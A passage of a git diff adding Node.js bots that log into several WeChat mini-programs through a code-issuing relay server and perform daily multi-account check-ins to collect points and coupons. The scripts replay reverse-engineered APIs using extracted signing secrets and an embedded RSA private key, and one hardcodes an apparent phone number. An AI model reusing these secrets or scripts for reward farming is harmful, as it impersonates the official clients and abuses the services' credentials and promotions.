return { openid: text, token: "" }; +} + +async function request(method, urlPath, { token = "", data = null, params = null, headers = {} } = {}) { + const res = await axios({ + method, + url: `${API_BASE}${urlPath}`, + data, + params, + timeout: 15000, + validateStatus: () => true, + headers: { + version: "1.0", + "User-Agent": "Mozilla/5.0 MicroMessenger MiniProgramEnv/Windows", + Referer: `https://servicewechat.com/${MINI_APP_ID}/250/page-frame.html`, + "X-Call-Client-Info": clientInfo(), + ...(token ? { Authorization: `Bearer ${token}` } : {}), + ...headers, + }, + }); + return res.data; +} + +function assertOk(res, action) { + if (!res || res.hasError || String(res.responseCode) !== "0") { + throw new Error(`${action}失败: ${res?.errorMessage || res?.message || JSON.stringify(res)}`); + } + return res.data || {}; +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + const account = parseAccount(raw); + this.openid = account.openid; + this.token = account.token || process.env.fuyouhui_token || ""; + this.member = {}; + this.wxcode = ""; + this.cacheKey = this.openid || (this.token ? md5(this.token).slice(0, 16) : `account_${this.index}`); + } + + getCached() { + return readCache()[this.cacheKey] || {}; + } + + saveCache(extra = {}) { + const cache = readCache(); + cache[this.cacheKey] = { + ...(cache[this.cacheKey] || {}), + ...(this.token ? { token: this.token } : {}), + ...(this.member?.id ? { memberId: this.member.id } : {}), + ...extra, + updatedAt: new Date().toISOString(), + }; + writeCache(cache); + } + + removeToken() { + const cache = readCache(); + if (cache[this.cacheKey]) { + delete cache[this.cacheKey].token; + writeCache(cache); + } + } + + async getWxCode() { + if (!this.openid) return ""; + const { data } = await wechat.getCode(this.openid); + if (!data?.status) throw new Error(data?.message || "wx_server 获取 code 失败"); + const code = data.data?.code || data.code; + if (!code) throw new Error(`wx_server 未返回 code: ${JSON.stringify(data)}`); + this.wxcode = code; + return code; + } + + async getOperateData() { + if (!this.openid) throw new Error("缺少 openid,无法自动授权"); + const { data } = await axios.post( + `${wechat.serverUrl}/wx/getuserinfo`, + { appid: MINI_APP_ID, openid: this.openid }, + { + headers: { auth: wechat.auth }, + timeout: 30000, + validateStatus: () => true, + } + ); + if (!data?.status) throw new Error(data?.message || "wx_server 获取 operatedata 失败"); + const info = data.data || {}; + if (!info.code || !info.iv || !info.encryptedData) { + throw new Error(`wx_server operatedata 缺少必要字段: ${JSON.stringify(data)}`); + } + return info; + } + + async loginByOperateData() { + const op = await this.getOperateData(); + const data = assertOk( + await request("post", "/usercenter/online/wxmp/registerWxUserInfo", { + data: { + code: op.code, + appChannel: "", + appKey: "WX_MINI_TC", + memberCode: "foryouclub_minipro_regs", + iv: op.iv, + encryptedData: op.encryptedData, + joinXingXuan: false, + }, + }), + "自动授权" + ); + const token = data.token || ""; + if (!token) throw new Error(`自动授权未返回 token: ${JSON.stringify(data)}`); + this.token = token; + this.saveCache({ + hasMobile: data.hasMobile, + fkMember: data.fkMember || "", + }); + $.log(`账号[${this.index}] 自动授权成功: ${mask(token)}`); + } + + ensureToken() { + if (!this.token) this.token = this.getCached().token || ""; + if (!this.token) { + throw new Error("缺少 folidayMallToken。请将变量设置为 openid#token,或设置 fuyouhui_token。"); + } + } + + async getMemberInfo() { + const data = assertOk( + await request("post", "/usercenter/online/mem/getMemberDetails", { token: this.token }), + "查询会员信息" + ); + this.member = data || {}; + if (data.refreshToken) this.token = data.refreshToken; + this.saveCache({ + member: { + id: data.id || "", + phone: data.phone || "", + openId: data.openId || "", + account: data.account || "", + }, + }); + return data; + } + + signHeaders() { + const timestamp = Date.now(); + const nonce = uuid(); + const memberId = this.member.id || this.getCached().memberId || ""; + if (!memberId) throw new Error("缺少会员ID,无法生成签到签名"); + return { + "X-Sign-Timestamp": timestamp, + "X-Sign-Nonce": nonce, + "X-Sign-Signature": md5(`${memberId}${timestamp}${nonce}${SIGN_SALT}`), + "X-Wx-Code": this.wxcode || "", + }; + } + + async getUserSign() { + const data = assertOk( + await request("get", "/online/cms-api/sign/userSign", { + token: this.token, + headers: this.signHeaders(), + }), + "签到/查询状态" + ); + return data.signInfo || {}; + } + + async queryAllRewards() { + try { + const data = assertOk( + await request("get", "/online/cms-api/sign/queryAllRewards", { token: this.token }), + "查询奖励列表" + ); + return Array.isArray(data) ? data : data.queryAllRewards || data.rewards || []; + } catch (e) { + $.log(`账号[${this.index}] 奖励列表查询失败: ${e.message || e}`); + return []; + } + } + + async queryScrollScreen() { + try { + const data = assertOk( + await request("get", "/online/cms-api/sign/queryScrollScreen", { token: this.token }), + "查询活动滚屏" + ); + return Array.isArray(data) ? data : data.list || data.records || []; + } catch (e) { + $.log(`账号[${this.index}] 活动滚屏查询失败: ${e.message || e}`); + return []; + } + } + + async queryPhoto() { + try { + const data = assertOk(await request("get", "/online/cms-api/sign/getPhoto"), "查询活动背景"); + return data.sign || {}; + } catch { + return {}; + } + } + + async receiveCoupon(cpId) { + if (!cpId) return; + try { + const data = assertOk( + await request("get", `/online/capi/cp/receiveCoupon?cpId=${encodeURIComponent(cpId)}`, { + token: this.token, + }), + "领取优惠券" + ); + $.log(`账号[${this.index}] 优惠券领取结果: ${JSON.stringify(data).slice(0, 120)}`); + } catch (e) { + $.log(`账号[${this.index}] 优惠券领取失败: ${e.message || e}`); + } + } + + printSignInfo(signInfo) { + const parts = [ + `连续${signInfo.continousSignDays ?? "未知"}天`, + `积分${signInfo.currentIntegral ?? "未知"}`, + ]; + if (signInfo.changeIntegeral) parts.push(`本次+${signInfo.changeIntegeral}`); + if (signInfo.couponName) parts.push(`券:${signInfo.couponName}`); + if (signInfo.signRewardMsg) parts.push(String(signInfo.signRewardMsg).replace(/<[^>]+>/g, "")); + + const signedNow = signInfo.hasSign === false; + const signedBefore = signInfo.hasSign === true; + $.log(`账号[${this.index}] ${signedNow ? "签到成功" : signedBefore ? "今日已签到" : "签到状态"},${parts.join(",")}`); + } + + async run() { + $.log(`\n账号[${this.index}] ${mask(this.openid || this.cacheKey)}`); + + if (this.openid) { + try { + await this.getWxCode(); + } catch (e) { + $.log(`账号[${this.index}] 获取 wxcode 失败,继续使用 token: ${e.message || e}`); + } + } + + if (!this.token) this.token = this.getCached().token || ""; + if (!this.token) await this.loginByOperateData(); + this.ensureToken(); + + try { + const member = await this.getMemberInfo(); + $.log(`账号[${this.index}] 会员: ${mask(member.phone || member.account || member.id || "")}`); + } catch (e) { + this.removeToken(); + throw e; + } + + if (this.openid) { + try { + await this.getWxCode(); + } catch (e) { + $.log(`账号[${this.index}] 刷新签到 wxcode 失败: ${e.message || e}`); + } + } + + const signInfo = await this.getUserSign(); + this.printSignInfo(signInfo); + await this.receiveCoupon(signInfo.cpId); + + const rewards = await this.queryAllRewards(); + if (rewards.length) $.log(`账号[${this.index}] 奖励列表: ${rewards.length}条`); + + const scroll = await this.queryScrollScreen(); + if (scroll.length) $.log(`账号[${this.index}] 滚屏记录: ${scroll.length}条`); + + const photo = await this.queryPhoto(); + if (photo.activityImg) $.log(`账号[${this.index}] 活动背景已获取`); + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) return; + for (const account of $.userList) { + try { + await new Task(account).run(); + } catch (e) { + $.log(`账号执行失败: ${e.message || e}`); + } + } +})() + .catch((e) => $.log(`脚本异常: ${e.message || e}`)) + .finally(() => $.done && $.done()); diff --git a/wxapp/fxh.js b/wxapp/fxh.js new file mode 100644 index 00000000..2d9b1f09 --- /dev/null +++ b/wxapp/fxh.js @@ -0,0 +1,235 @@ +/* +------------------------------------------ +@Description: 一汽丰田丰享汇 - 微信小程序静默登录 + 会员签到 +cron: 28 8 * * * +------------------------------------------ +变量名:fxh +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wxdc0171c19d8ff575,host fxh.ftms.com.cn): + 登录 POST /fxh-bff/app/wx/scx/login + {jsCode:, nickName:"微信用户", gender:0, language/city/province/country:"", + avatarUrl:"", iv:"", signature:"", headImg:""} + -> code==200, data.token;同时把 token 放进请求头 Authorization 和 sessionKey + 昵称在 data.customerInfoCacheDto.name + 积分 POST /fxh-bff/app/membership/pointsSum + 签到 POST /fxh-bff/app/membership/signIn -> code==200 成功 +注:原始实现里 signature 是一串写死的 sha1(别人抓包留下的用户资料签名), + 这里留空——那个值对本账号没有意义,也不该照抄别人的。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("一汽丰田丰享汇"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "fxh"; +const MINI_APP_ID = "wxdc0171c19d8ff575"; +const BASE = "https://fxh.ftms.com.cn"; +const TOKEN_CACHE_FILE = path.join(__dirname, "fxh_token_cache.json"); +const USER_AGENT = + "Mozilla/5.0 (Linux; Android 12; M2012K11AC Build/SKQ1.220303.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) " + + "Version/4.0 Chrome/134.0.6998.136 Mobile Safari/537.36 MicroMessenger/8.0.48.2580(0x28003036) MiniProgramEnv/android"; + +const EP_LOGIN = "/fxh-bff/app/wx/scx/login"; +const EP_POINTS = "/fxh-bff/app/membership/pointsSum"; +const EP_SIGN = "/fxh-bff/app/membership/signIn"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} + +function short(v, n = 220) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} + +const isOk = (res) => Number(res?.code) === 200 || res?.success === true; +const msgOf = (res) => res?.message || res?.msg || short(res); +const isAlreadyDone = (t) => /已签|已经签|签到过|重复|already/i.test(String(t || "")); +const isAuthError = (t) => /登录|token|未授权|失效|过期|重新|401/i.test(String(t || "")); + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + this.name = ""; + } + + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + + async request(apiPath, data = {}) { + const res = await axios.request({ + method: "POST", + url: `${BASE}${apiPath}`, + data, + headers: { + "Content-Type": "application/json", + "User-Agent": USER_AGENT, + Referer: `https://servicewechat.com/${MINI_APP_ID}/0/page-frame.html`, + ...(this.token ? { Authorization: this.token, sessionKey: this.token } : {}), + }, + timeout: 20000, + validateStatus: () => true, + }); + if (res.status !== 200) throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + return res.data; + } + + /** wcs.getCode 在 status:false 时也 resolve,必须自己判失败 */ + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) { + throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + } + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + + async login() { + const jsCode = await this.getCode(); + const res = await this.request(EP_LOGIN, { + nickName: "微信用户", + gender: 0, + language: "", + city: "", + province: "", + country: "", + avatarUrl: "", + iv: "", + signature: "", + jsCode, + headImg: "", + }); + if (!isOk(res)) throw new Error(`登录失败: ${msgOf(res)}`); + const d = res.data || {}; + this.token = d.token || ""; + this.name = (d.customerInfoCacheDto || {}).name || ""; + if (!this.token) { + // 服务端会用 code=200 + hasLogin:false + token:null 表示「这个微信号还没注册」, + // 不是脚本坏了,也不是 code 无效(customerId 是正常返回的)。 + if (d.hasLogin === false) { + throw new Error( + "该微信号还没在丰享汇注册/绑定(服务端返回 hasLogin:false)," + + "需先在小程序「一汽丰田丰享汇」里手动完成注册后再跑" + ); + } + throw new Error(`登录未返回 token: ${short(res)}`); + } + const cache = readCache(); + cache[this.account.openid] = { token: this.token, name: this.name, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log(`登录成功${this.name ? `: ${this.name}` : ""}`); + } + + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { + this.token = cached.token; + this.name = cached.name || ""; + if (await this.queryPoints(false)) { + this.log("使用缓存token"); + return; + } + this.log("缓存token失效,重新登录"); + this.token = ""; + } + if (!this.token) await this.login(); + } + + async queryPoints(needLog = true) { + // 查积分是附带信息,端点 404/异常不该中断签到主流程 + let res; + try { + res = await this.request(EP_POINTS, {}); + } catch (e) { + if (needLog) this.log(`读取积分跳过: ${e.message || e}`); + return false; + } + if (!isOk(res)) { + if (needLog) this.log(`读取积分失败: ${msgOf(res)}`); + return false; + } + const d = res.data; + const points = d && typeof d === "object" ? d.pointsSum ?? d.points ?? d.total ?? short(d, 80) : d; + if (needLog) this.log(`会员: ${this.name || "未知"} 积分: ${points ?? "未知"}`); + return true; + } + + async sign(retry = true) { + const res = await this.request(EP_SIGN, {}); + if (isOk(res)) return this.log("✅ 签到成功"); + if (isAlreadyDone(msgOf(res))) return this.log(`✅ 今日已签到(${msgOf(res)})`); + if (retry && isAuthError(msgOf(res))) { + this.log("会话失效,重新登录后重试"); + this.token = ""; + await this.login(); + return this.sign(false); + } + this.log(`❌ 签到失败: ${msgOf(res)}`); + } + + async run() { + if (!this.account.openid) { + this.log("跳过:变量值里没有 openid"); + return; + } + try { + await this.ensureLogin(); + await this.queryPoints(); + await this.sign(); + await this.queryPoints(); + } catch (e) { + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { + $.log(`未找到变量 ${ckName}`); + return; + } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/fyzq.js b/wxapp/fyzq.js new file mode 100644 index 00000000..18ff02c4 --- /dev/null +++ b/wxapp/fyzq.js @@ -0,0 +1,250 @@ +/* +风云再起北京 - 每日签到 +cron: 20 8 * * * + +变量名:fyzq +变量值:wx_server 中保存的 openid/账号标识,多账号用 & 或换行分隔 +依赖变量:wx_server_url、wx_auth + +说明:2026-08 该小程序把每日签到从原生页面迁到了 H5(首页签到入口跳 +web-view 打开 h5Url+'sign'),老接口 /min/min-mall/sign_sign_in 已被服务端 +下线,固定返回「系统版本过低,请更新后重试!」。本脚本已改用 H5 页在用的 +/mobile/business/sign/info/* 接口(同域 applet.njqsmx.com、同一 AES 签名, +但请求体是 header/body 信封,成功码是 0 而不是 1)。 +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("风云再起北京"); +const axios = require("axios"); +const crypto = require("crypto"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "fyzq"; +const MINI_APP_ID = "wxbc00cc79a68e2305"; +const BRAND_KEY = "bjfyzq"; +const APPLET_BASE = "https://applet.njqsmx.com"; +const SIGN_KEY = Buffer.from("rwCyegYqZjtnBPND", "utf8"); +// H5 页里 sourcePlatform: 小程序 web-view = "2",普通 H5 = "1" +const SOURCE_PLATFORM = "2"; +const TOKEN_CACHE_FILE = path.join(__dirname, "fyzq_token_cache.json"); + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "your-api-key", +}); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch { + return {}; + } +} + +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`token缓存写入失败: ${e.message || e}`); + } +} + +function makeSign(params) { + const text = Object.keys(params) + .sort() + .filter((key) => params[key] !== null && params[key] !== undefined && params[key] !== "") + .map((key) => `${key}=${params[key]}`) + .join("&"); + + const cipher = crypto.createCipheriv("aes-128-ecb", SIGN_KEY, null); + cipher.setAutoPadding(true); + return Buffer.concat([ + cipher.update(Buffer.from(`"${text}"`, "utf8")), + cipher.final(), + ]).toString("base64").replace(/=/g, ""); +} + +function mask(value = "") { + value = String(value); + if (value.length <= 12) return `${value.slice(0, 3)}***`; + return `${value.slice(0, 6)}***${value.slice(-6)}`; +} + +const COMMON_HEADERS = { + Referer: `https://servicewechat.com/${MINI_APP_ID}/52/page-frame.html`, + "User-Agent": "Mozilla/5.0 MicroMessenger MiniProgramEnv/Windows", +}; + +// 老接口:表单 + deviceType/channel,业务成功码 1(登录仍走这条) +async function appletPost(urlPath, params = {}, token = "") { + const body = { + ...params, + deviceType: "4", + channel: "wxxcx", + }; + if (token) body.token = token; + body.sign = makeSign(body); + + const { data } = await axios.post(`${APPLET_BASE}${urlPath}`, new URLSearchParams(body).toString(), { + headers: { ...COMMON_HEADERS, "Content-Type": "application/x-www-form-urlencoded" }, + timeout: 15000, + validateStatus: () => true, + }); + return data; +} + +// 新接口:header/body 信封,header 里带 portType 与签名,业务成功码 0 +async function envelopePost(urlPath, params = {}) { + const header = { portType: "MIN", ...params }; + header.sign = makeSign(header); + + const { data } = await axios.post(`${APPLET_BASE}${urlPath}`, { header, body: params }, { + headers: { ...COMMON_HEADERS, "Content-Type": "application/json" }, + timeout: 15000, + validateStatus: () => true, + }); + + const code = String(data?.header?.code ?? ""); + const message = data?.header?.message || ""; + if (code === "-1011") { + const err = new Error(message || "登录状态已过期"); + err.tokenExpired = true; + throw err; + } + if (code !== "0") { + throw new Error(message || `接口失败: ${JSON.stringify(data).slice(0, 200)}`); + } + return data?.body || {}; +} + +class Task { + constructor(account) { + this.index = $.userIdx++; + // 变量值支持 openid#备注 格式:# 后是备注,取码只能用纯 openid + const [openid, remark] = String(account || "").split("#").map((s) => (s || "").trim()); + this.account = openid; + this.remark = remark || ""; + this.token = ""; + } + + getCachedToken() { + return readCache()[this.account]?.token || ""; + } + + saveToken(token, extra = {}) { + if (!token) return; + const cache = readCache(); + cache[this.account] = { + token, + ...extra, + updatedAt: new Date().toISOString(), + }; + writeCache(cache); + } + + removeToken() { + const cache = readCache(); + if (cache[this.account]) { + delete cache[this.account]; + writeCache(cache); + } + } + + async getWxCode() { + const { data } = await wechat.getCode(this.account); + if (!data?.status) throw new Error(data?.message || "wx_server 获取 code 失败"); + const code = data.data?.code || data.code; + if (!code) throw new Error(`wx_server 未返回 code: ${JSON.stringify(data)}`); + return code; + } + + async login() { + const code = await this.getWxCode(); + const res = await appletPost("/min/min-user/find_brand_key", { + code, + brandKey: BRAND_KEY, + }); + + if (String(res.code) !== "1") { + throw new Error(res.message || `登录失败: ${JSON.stringify(res)}`); + } + + const token = res.data?.data?.token || res.data?.token || ""; + if (!token) throw new Error(`账号未绑定或接口未返回 token: ${JSON.stringify(res)}`); + + this.token = token; + this.saveToken(token, { + brandId: res.data?.brandId || "", + isBind: res.data?.isBind, + }); + $.log(`账号[${this.index}] 登录成功: ${mask(token)}`); + } + + get signParams() { + return { sourcePlatform: SOURCE_PLATFORM, token: this.token }; + } + + // H5 的 queryInit:checkStatus 0=今日未签到,非 0=已签到 + async checkinInfo() { + return envelopePost("/mobile/business/sign/info/getCheckinInfo", this.signParams); + } + + // H5 的 TodaySignIn:每日唯一的写调用 + async doSign() { + return envelopePost("/mobile/business/sign/info/signIn", this.signParams); + } + + async run() { + $.log(`\n账号[${this.index}]${this.remark ? `[${this.remark}]` : ""} ${mask(this.account)}`); + this.token = this.getCachedToken(); + + if (this.token) { + $.log(`账号[${this.index}] 使用缓存 token`); + try { + return await this.handleStatus(await this.checkinInfo()); + } catch (e) { + $.log(`账号[${this.index}] 缓存失效: ${e.message || e}`); + this.removeToken(); + } + } + + await this.login(); + await this.handleStatus(await this.checkinInfo()); + } + + async handleStatus(info) { + const days = info.consecutiveDay ?? info.consCheckDays ?? "未知"; + if (info.checkStatus !== 0) { + $.log(`账号[${this.index}] 今日已签到,连续签到 ${days} 天,奇豆 ${info.integralCnt ?? "未知"}`); + return; + } + + const res = await this.doSign(); + const reward = Array.isArray(res.currentReward) ? res.currentReward.join("+") : res.currentReward || ""; + $.log( + `账号[${this.index}] 签到成功,第 ${res.currentSignDay ?? days} 天` + + (reward ? `,获得 ${reward}` : "") + ); + + const after = await this.checkinInfo().catch(() => null); + if (after) $.log(`账号[${this.index}] 当前奇豆 ${after.integralCnt ?? "未知"}`); + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) return; + for (const account of $.userList) { + try { + await new Task(account).run(); + } catch (e) { + $.log(`账号执行失败: ${e.message || e}`); + } + } +})() + .catch((e) => $.log(`脚本异常: ${e.message || e}`)) + .finally(() => $.done && $.done()); diff --git a/wxapp/gac.js b/wxapp/gac.js new file mode 100644 index 00000000..66717bb9 --- /dev/null +++ b/wxapp/gac.js @@ -0,0 +1,333 @@ +/* +------------------------------------------ +@Description: 广汽丰田新能源 - 微信小程序静默登录 + 每日签到 +cron: 26 11,17 * * * +------------------------------------------ +变量名:gac +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wxd8a42d1c0c59c15d): +(迁移自 YYB-GO 系脚本,原脚本已 code 登录) + +两段式登录: + 1) 小程序登录 POST https://xcx.nevapp.gtmc.com.cn/wxapp/nev-prod/bff-nev-wxapp/auth/login?code= + 头 apiVersion:1.4.0 -> header.code==10000000,body.token(xcxToken)、body.openId + 2) 换网关token POST https://gw.nevapp.gtmc.com.cn/ha/iam/api/sec/oauth/token + 体(AES-128-CBC,key/iv 随机,key@DS@iv 经 RSA-PKCS1v1.5 公钥加密): + {grant_type:'password', username:<常量占位>, password:xcxToken, auth_type:'newminipg'} + 头 Authorization:Basic bmV2YXBwOnNlY3JldA== / appId / timestamp / nonce / + sig=md5(ts+'Basic bmV2YXBwOnNlY3JldA=='+nonce+APP_ID+APP_SIG_SECRET) + 响应 AES 加密(encryptData/encryptKey) -> body.accessToken(gwToken, JWT) +签到 POST https://gw.nevapp.gtmc.com.cn/main/api/marketing/lgn/task/sec/signinV2 {gtmcUid:'',fromApplication:'0'} + 头 Authorization: / appId / sig=md5(ts+tokenRaw+nonce+APP_ID+APP_SIG_SECRET) + -> header.code==10000000 +查签到本 GET /main/api/marketing/lgn/sec/usersign/getAttendanceBook?beginTime&endTime -> body.todayHasSigned +APP_ID/APP_SIG_SECRET/RSA公私钥/Basic 串 均为该小程序固定应用常量(原脚本硬编码,非个人凭证)。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("广汽丰田新能源签到"); +const axios = require("axios"); +const crypto = require("crypto"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "gac"; +const MINI_APP_ID = "wxd8a42d1c0c59c15d"; +const API_VERSION = "1.4.0"; +const PAGE_VERSION = "138"; + +const GW_BASE = "https://gw.nevapp.gtmc.com.cn"; +const XCX_BASE = "https://xcx.nevapp.gtmc.com.cn/wxapp/nev-prod/bff-nev-wxapp"; +const APP_ID = "ecb4fdd3-da09-408a-913b-44d311d03105"; +const APP_SIG_SECRET = "611ac848-be11-404e-b7a3-54f735d2eb3e"; +const BASIC_AUTH = "Basic bmV2YXBwOnNlY3JldA=="; // base64("nevapp:secret") 应用固定 +// oauth password grant 的 username:原脚本写死,password 才是每号 xcxToken。 +// 允许用变量覆盖以便验证其是否 load-bearing;默认沿用原脚本占位值。 +const OAUTH_USERNAME = process.env.gac_oauth_user || "18825160040"; +const DIAG = process.env.gac_diag === "1"; + +// 小程序内嵌固定 RSA 密钥对(应用级,用于请求/响应 AES 密钥的 RSA 包裹,非个人凭证) +const PUBLIC_KEY = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA49jxpFBAoEslNYrHb0wT8nCpGBn3hvjgToNkp7lFpsSeRS7WbHoFJEvmf1U83cHrbTzRFRowPft/FGBw6/6dZcmMjMgz1n0FWlqk0d7QjEDL+t9Dj9tH9e/qdGfJ3bzR0ZgpgQMpKpx5I5fcEgzMYnHWGLZBY+v+PlPTN/1mz0nnRtIIxb8YuZZFvadfGTC8jeD7tMERpd5zENml5cLbVujENsag9AIpvLdvR6fSewi3l9QmssWpty50UpcAWsvAs+ExRYyUe/s1lwfSdSciW6Lrj4sp4MMaWifdTQUbKKEeuRugEqJSDrxhxoybEbSbl2CYaTR8kifZ1n+lcAh6cQIDAQAB"; +const PRIVATE_KEY = "MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCUEPwXFgsGTngqifX48k/5CRBNVA2/mLJhl+fP7Z0UHrSQmI31rtXcb9zN6PMG0jvNxk0oLvrUgf1K/lfgDp0noUQpCbHqkCk0CGQogSIVr/ktu5lhev0/P+9pkFfXrrZWKYhBk/z7r/XYvmsm4TVyFhge5WZqfY+HXhFmzJEu9lhq9VACXsfXJ6O778Dj3fF6hHsyNsai+qGNL31bdObxJG8EhWNcwK0ejCa8XzsscasbjZ/AhTwAQf9kxT9diCZv2vWvK5QtDhxMbqyQ6lFE8Ew9jaAHYnp2jxh3CwcAMp9B0+Ne4JOBaY7IjH9ENqMC29cYnhxNhj3ZGcbEu6lpAgMBAAECggEBAISKY66iu8GscmLZ1kY/Whk55M7jw97TaDJ2UTrOn8KH7ehVtxXKqIPH2qaztQBRJtl/fkfPLhcWOU9tN+pICqOT9zipBgtLeqaqMEYVuhYhzPMEMDuTZai9qakcXZWjPnMIgID7YQVHsNGROse15yq13mehv7jpppZtPTSBQCEBZAw+SFNS4KVfBDKNntlesEuLJHGWWXnqxWwK3YA4IdUAJjT5kDEiYQs7uy2FHqdcZnw7hV/Tt3OWDqrOB8zoZVhEg9dLvqpBaUi6yh9ihUYJBtFegmsFSY7MazHQjYnY8bcEcoma22c3AZbGeRwTwrNrlL0/UvF60L1njx4xhSUCgYEA0Xgh4mFSrp5E0UbMvy5TnpayH1hcaJNFjyGgQGdwgnE69gzR1Grqv+ihSjTbPvQHu9IGnuXb6Pdm/tuj2ml4xTJ9OnTe2/x/TzMIserNfRD1v6prxjNgZc+YDEebxHTWDBtCNpdbOEy27yO4fc9UvIoIbgG5eDTcMwCtiIt+98sCgYEAtPUPBqegfiDzyBP7l2hxhGwFgIrsFYIg3lJwwlyYpZEt8p/TMwPAMb2k+nfQPtyS6T2bBGr2PAKUAubD1SrwGE4ndXO4SDB814ll93ZrE7X18iyoGBwbgpjGMONK3nbS2z+2WrFEtQZaUuLiiZp+hnxk5uW7EQ5RnToOaUTPtRsCgYBNUOhA5Odd6LFCBb4BOxpGSR1KEJVbTDC6mhDKdOPEYgL/WtAAdc5cM4OFHmlmnTBVlTo4YGOBZAAyReP+9DtNnks2zniL/nEHTLEC6sYaSa5Lpp3NNJ16NtvKfIv0QaPYKB+Sgt96smY7cpXgaiy+wrxFzoEk623zrWZgJg0hbQKBgFMkEO5O0CeDPl6cB8lt/FIKS5Dew0+yhSWAnTw/zQatKH5EPoY+3+w6pPVLXUu0jm9JldK2zkGOMbEPk8R6QOv55JlLPM02MfXZtBa5usLIpKLLL8Q8Dcu4I79MfxatY33GzSLoNZgyvgc9JTZx3FYwCzAnNwbEHG1vwjVNn10nAoGASPxDtahASVh/IN6sjFR1soU8fuzEzThpnchfNVp3BeROR/8fXyfyBk3hKGmh6PY41XttKrGBwCaztCwA6zoTv7/SmzqNCzknq4uFbr9o455T0+0gtBKS6vFv1zCnvyMXjcmyCvB7gIRnhoq5W/z9l8VtAagNi9JOhZpjCl7Ep70="; + +const CACHE_FILE = path.join(__dirname, "gac_token_cache.json"); +const UA = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 " + + "MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF"; +const REFERER = `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`; + +const pubPem = `-----BEGIN PUBLIC KEY-----\n${PUBLIC_KEY.match(/.{1,64}/g).join("\n")}\n-----END PUBLIC KEY-----`; +const priPem = `-----BEGIN PRIVATE KEY-----\n${PRIVATE_KEY.match(/.{1,64}/g).join("\n")}\n-----END PRIVATE KEY-----`; +const priJwk = crypto.createPrivateKey(priPem).export({ format: "jwk" }); +const b64uToBuf = (s) => Buffer.from(String(s).replace(/-/g, "+").replace(/_/g, "/"), "base64"); +const b64uToBigInt = (s) => BigInt(`0x${b64uToBuf(s).toString("hex") || "0"}`); +const priN = b64uToBigInt(priJwk.n); +const priD = b64uToBigInt(priJwk.d); +const priKlen = b64uToBuf(priJwk.n).length; + +function modPow(base, exp, mod) { + let b = base % mod, e = exp, r = 1n; + while (e > 0n) { if (e & 1n) r = (r * b) % mod; e >>= 1n; b = (b * b) % mod; } + return r; +} +function rsaEncryptPkcs1V15(plain) { + return crypto.publicEncrypt({ key: pubPem, padding: crypto.constants.RSA_PKCS1_PADDING }, Buffer.from(String(plain))).toString("base64"); +} +function rsaDecryptPkcs1V15(encB64) { + const c = BigInt(`0x${Buffer.from(encB64, "base64").toString("hex") || "0"}`); + const m = modPow(c, priD, priN); + let hex = m.toString(16); + if (hex.length % 2) hex = `0${hex}`; + 